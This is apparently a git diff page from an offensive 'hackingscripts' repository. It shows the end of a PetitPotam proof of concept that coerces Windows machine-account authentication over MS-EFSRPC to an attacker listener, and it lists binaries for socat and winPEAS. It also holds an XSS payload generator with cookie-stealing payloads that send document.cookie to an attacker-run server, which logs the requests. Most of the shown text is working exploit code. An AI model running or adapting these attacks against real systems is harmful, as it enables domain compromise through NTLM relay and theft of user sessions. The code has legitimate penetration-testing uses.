|  |         dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) | ||||||
|  |         print("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) | ||||||
|  |         try: | ||||||
|  |             dce.connect() | ||||||
|  |         except Exception as e: | ||||||
|  |             print("Something went wrong, check error status => %s" % str(e))   | ||||||
|  |             #sys.exit() | ||||||
|  |             return | ||||||
|  |         print("[+] Connected!") | ||||||
|  |         print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0]) | ||||||
|  |         try: | ||||||
|  |             dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR'])) | ||||||
|  |         except Exception as e: | ||||||
|  |             print("Something went wrong, check error status => %s" % str(e))  | ||||||
|  |             #sys.exit() | ||||||
|  |             return | ||||||
|  |         print("[+] Successfully bound!") | ||||||
|  |         return dce | ||||||
|  |          | ||||||
|  |     def EfsRpcOpenFileRaw(self, dce, listener): | ||||||
|  |         print("[-] Sending EfsRpcOpenFileRaw!") | ||||||
|  |         try: | ||||||
|  |             request = EfsRpcOpenFileRaw() | ||||||
|  |             request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener | ||||||
|  |             request['Flag'] = 0 | ||||||
|  |             #request.dump() | ||||||
|  |             resp = dce.request(request) | ||||||
|  |              | ||||||
|  |         except Exception as e: | ||||||
|  |             if str(e).find('ERROR_BAD_NETPATH') >= 0: | ||||||
|  |                 print('[+] Got expected ERROR_BAD_NETPATH exception!!') | ||||||
|  |                 print('[+] Attack worked!') | ||||||
|  |                 #sys.exit() | ||||||
|  |                 return None | ||||||
|  |             if str(e).find('rpc_s_access_denied') >= 0: | ||||||
|  |                 print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!') | ||||||
|  |                 print('[+] OK! Using unpatched function!') | ||||||
|  |                 print("[-] Sending EfsRpcEncryptFileSrv!") | ||||||
|  |                 try: | ||||||
|  |                     request = EfsRpcEncryptFileSrv() | ||||||
|  |                     request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener | ||||||
|  |                     resp = dce.request(request) | ||||||
|  |                 except Exception as e: | ||||||
|  |                     if str(e).find('ERROR_BAD_NETPATH') >= 0: | ||||||
|  |                         print('[+] Got expected ERROR_BAD_NETPATH exception!!') | ||||||
|  |                         print('[+] Attack worked!') | ||||||
|  |                         pass | ||||||
|  |                     else: | ||||||
|  |                         print("Something went wrong, check error status => %s" % str(e))  | ||||||
|  |                         return None | ||||||
|  |                         #sys.exit() | ||||||
|  |                  | ||||||
|  |             else: | ||||||
|  |                 print("Something went wrong, check error status => %s" % str(e))  | ||||||
|  |                 return None | ||||||
|  |                 #sys.exit() | ||||||
|  | 
 | ||||||
|  | def main(): | ||||||
|  |     parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()") | ||||||
|  |     parser.add_argument('-u', '--username', action="store", default='', help='valid username') | ||||||
|  |     parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)') | ||||||
|  |     parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name') | ||||||
|  |     parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)') | ||||||
|  | 
 | ||||||
|  |     parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') | ||||||
|  |     parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' | ||||||
|  |                         '(KRB5CCNAME) based on target parameters. If valid credentials ' | ||||||
|  |                         'cannot be found, it will use the ones specified in the command ' | ||||||
|  |                         'line') | ||||||
|  |     parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') | ||||||
|  |     parser.add_argument('-target-ip', action='store', metavar="ip address", | ||||||
|  |                         help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' | ||||||
|  |                         'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it') | ||||||
|  | 
 | ||||||
|  |     parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all') | ||||||
|  |     parser.add_argument('listener', help='ip address or hostname of listener') | ||||||
|  |     parser.add_argument('target', help='ip address or hostname of target') | ||||||
|  |     options = parser.parse_args() | ||||||
|  | 
 | ||||||
|  |     if options.hashes is not None: | ||||||
|  |         lmhash, nthash = options.hashes.split(':') | ||||||
|  |     else: | ||||||
|  |         lmhash = '' | ||||||
|  |         nthash = '' | ||||||
|  | 
 | ||||||
|  |     print(show_banner) | ||||||
|  | 
 | ||||||
|  |     if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True: | ||||||
|  |         from getpass import getpass | ||||||
|  |         options.password = getpass("Password:") | ||||||
|  |      | ||||||
|  |     plop = CoerceAuth() | ||||||
|  |      | ||||||
|  |     if options.pipe == "all": | ||||||
|  |         all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass'] | ||||||
|  |     else: | ||||||
|  |         all_pipes = [options.pipe] | ||||||
|  |      | ||||||
|  |     for all_pipe in all_pipes: | ||||||
|  |         print("Trying pipe", all_pipe) | ||||||
|  |         dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip) | ||||||
|  |         if dce is not None: | ||||||
|  |             plop.EfsRpcOpenFileRaw(dce, options.listener) | ||||||
|  |             dce.disconnect() | ||||||
|  |     sys.exit()    | ||||||
|  |               | ||||||
|  | if __name__ == '__main__': | ||||||
|  |     main() | ||||||
										
											Binary file not shown.
										
									
								
							
										
											
												File diff suppressed because one or more lines are too long
											
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								win/socat.exe
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								win/socat.exe
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								win/socat64.exe
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								win/socat64.exe
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								win/winPEAS.exe
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										
											BIN
										
									
								
								win/winPEAS.exe
									
									
									
									
									
								
							
										
											Binary file not shown.
										
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										129
									
								
								xss_handler.py
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										129
									
								
								xss_handler.py
									
									
									
									
									
								
							| @ -1,108 +1,71 @@ | |||||||
| #!/usr/bin/env python | #!/usr/bin/env python | ||||||
| 
 | 
 | ||||||
| from hackingscripts import util | from hackingscripts import util | ||||||
| import sys | from fileserver import HttpFileServer | ||||||
| import http.server | import argparse | ||||||
| import socketserver | import random | ||||||
| from http.server import HTTPServer, BaseHTTPRequestHandler |  | ||||||
| 
 |  | ||||||
| # returns http address |  | ||||||
| def getServerAddress(address, port): |  | ||||||
|     if port == 80: |  | ||||||
|         return "http://%s" % address |  | ||||||
|     else: |  | ||||||
|         return "http://%s:%d" % (address, port) |  | ||||||
| 
 |  | ||||||
| # returns js code: 'http://xxxx:yy/?x='+document.cookie |  | ||||||
| def getCookieAddress(address, port): |  | ||||||
|     return "'%s/?x='+document.cookie" % getServerAddress(address, port) |  | ||||||
| 
 |  | ||||||
| def generatePayload(type, address, port): |  | ||||||
| 
 | 
 | ||||||
|  | def generate_payload(payload_type, url, index=None, **kwargs): | ||||||
|     payloads = [] |     payloads = [] | ||||||
|     cookieAddress = getCookieAddress(address, port) |  | ||||||
| 
 | 
 | ||||||
|     media_tags = ["img","audio","video","image","body","script","object"] |     media_tags = ["img","audio","video","image","body","script","object"] | ||||||
|     if type in media_tags: |     if payload_type in media_tags: | ||||||
|         payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (type, cookieAddress)) |         payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (payload_type, url)) | ||||||
| 
 | 
 | ||||||
|     if type == "script": |     if payload_type == "script": | ||||||
|         payloads.append('<script type="text/javascript">document.location=%s</script>' % cookieAddress) |         payloads.append('<script type="text/javascript">document.location=%s</script>' % url) | ||||||
|         payloads.append('<script src="%s/xss" />' % getServerAddress(address, port)) |         payloads.append('<script src="%s/xss" />' % url) | ||||||
| 
 | 
 | ||||||
|     if len(payloads) == 0: |     if len(payloads) == 0: | ||||||
|         return None |         return None | ||||||
| 
 | 
 | ||||||
|     return "\n".join(payloads) |     return "\n".join(payloads) | ||||||
| 
 | 
 | ||||||
| class XssServer(BaseHTTPRequestHandler): |  | ||||||
|     def _set_headers(self): |  | ||||||
|         self.send_response(200) |  | ||||||
|         self.send_header("Content-type", "text/html") |  | ||||||
|         self.end_headers() |  | ||||||
| 
 |  | ||||||
|     def _html(self): |  | ||||||
|         content = f"<html><body><h1>Got'cha</h1></body></html>" |  | ||||||
|         return content.encode("utf8")  # NOTE: must return a bytes object! |  | ||||||
| 
 |  | ||||||
|     def do_GET(self): |  | ||||||
|         self._set_headers() |  | ||||||
|         if self.path == "/xss": |  | ||||||
|             cookie_addr = getCookieAddress(util.get_address(), listen_port) |  | ||||||
|             self.wfile.write(cookie_addr.encode()) |  | ||||||
|         else: |  | ||||||
|             self.wfile.write(self._html()) |  | ||||||
| 
 |  | ||||||
|     def do_HEAD(self): |  | ||||||
|         self._set_headers() |  | ||||||
| 
 |  | ||||||
|     def end_headers(self): |  | ||||||
|         self.send_header('Access-Control-Allow-Origin', '*') |  | ||||||
|         BaseHTTPRequestHandler.end_headers(self) |  | ||||||
| 
 |  | ||||||
|     def do_OPTIONS(self): |  | ||||||
|         self.send_response(200, "ok") |  | ||||||
|         self.send_header('Access-Control-Allow-Origin', '*') |  | ||||||
|         self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS') |  | ||||||
|         # self.send_header("Access-Control-Allow-Headers", "X-Requested-With") |  | ||||||
|         # self.send_header("Access-Control-Allow-Headers", "Content-Type") |  | ||||||
|         self.end_headers() |  | ||||||
| 
 |  | ||||||
|     def do_POST(self): |  | ||||||
|         self._set_headers() |  | ||||||
|         content_length = int(self.headers['Content-Length']) # <--- Gets the size of data |  | ||||||
|         post_data = self.rfile.read(content_length) |  | ||||||
|         print(post_data) |  | ||||||
|         self.wfile.write(self._html()) |  | ||||||
| 
 |  | ||||||
| if __name__ == "__main__": | if __name__ == "__main__": | ||||||
| 
 | 
 | ||||||
|     if len(sys.argv) < 2: |     parser = argparse.ArgumentParser(description="XSS payload generator") | ||||||
|         print("Usage: %s <type> [port]" % sys.argv[0]) |     parser.add_argument(dest="type", type=str, default=None, help="Payload type") | ||||||
|         exit(1) |     parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port") | ||||||
|  |     parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address") | ||||||
|  |     args, extra = parser.parse_known_args() | ||||||
| 
 | 
 | ||||||
|     listen_port = None if len(sys.argv) < 3 else int(sys.argv[2]) |     listen_port = args.port | ||||||
|     payload_type = sys.argv[1].lower() |     payload_type = args.type.lower() | ||||||
|  |     local_address = args.addr | ||||||
|  |     extra_args = {} | ||||||
| 
 | 
 | ||||||
|     local_address = util.get_address() |     for entry in extra: | ||||||
|  |         match = re.match(r"(\w+)=(\w+)", entry) | ||||||
|  |         if not match: | ||||||
|  |             print("Invalid extra argument:", entry) | ||||||
|  |             exit() | ||||||
|  |         key, value = match.groups() | ||||||
|  |         extra_args[key] = value | ||||||
| 
 | 
 | ||||||
|     # choose random port |     # choose random port | ||||||
|     if listen_port is None: |     if listen_port is None: | ||||||
|         sock = util.open_server(local_address) |         listen_port = random.randint(10000,65535) | ||||||
|         if not sock: |         while util.is_port_in_use(listen_port): | ||||||
|             exit(1) |             listen_port = random.randint(10000,65535) | ||||||
|         listen_port = sock.getsockname()[1] |  | ||||||
|         sock.close() |  | ||||||
| 
 | 
 | ||||||
|     payload = generatePayload(payload_type, local_address, listen_port) |     http_server = HttpFileServer(local_address, listen_port) | ||||||
|     if not payload: |     payload_type = args.type.lower() | ||||||
|         print("Unsupported payload type") |     url = http_server.get_full_url("/", util.get_address()) | ||||||
|  |     payload = generate_payload(payload_type, url, **extra_args) | ||||||
|  |     if payload is None: | ||||||
|  |         print("Unknown payload type: %s" % payload_type) | ||||||
|  |         # print("Supported types: ") | ||||||
|         exit(1) |         exit(1) | ||||||
| 
 | 
 | ||||||
|     print("Payload:") |     print(f"---PAYLOAD---\n{payload}\n---PAYLOAD---\n") | ||||||
|     print(payload) | 
 | ||||||
|     print() |     headers = { | ||||||
|  |         "Access-Control-Allow-Origin": "*", | ||||||
|  |         "Access-Control-Allow-Methods": "GET, POST, OPTIONS" | ||||||
|  |     } | ||||||
|  | 
 | ||||||
|  |     http_server.addRoute("/", lambda req: (201, b"", headers)) | ||||||
|  |     http_server.dumpRequest("/") | ||||||
|  |     http_server.serve_forever() | ||||||
|  |      | ||||||
|      |      | ||||||
|     httpd = HTTPServer((local_address, listen_port), XssServer) |  | ||||||
|     print(f"Starting httpd server on {local_address}:{listen_port}") |  | ||||||
|     httpd.serve_forever() |  | ||||||
|  | |||||||
		Loading…
	
		Reference in New Issue
	
	Block a user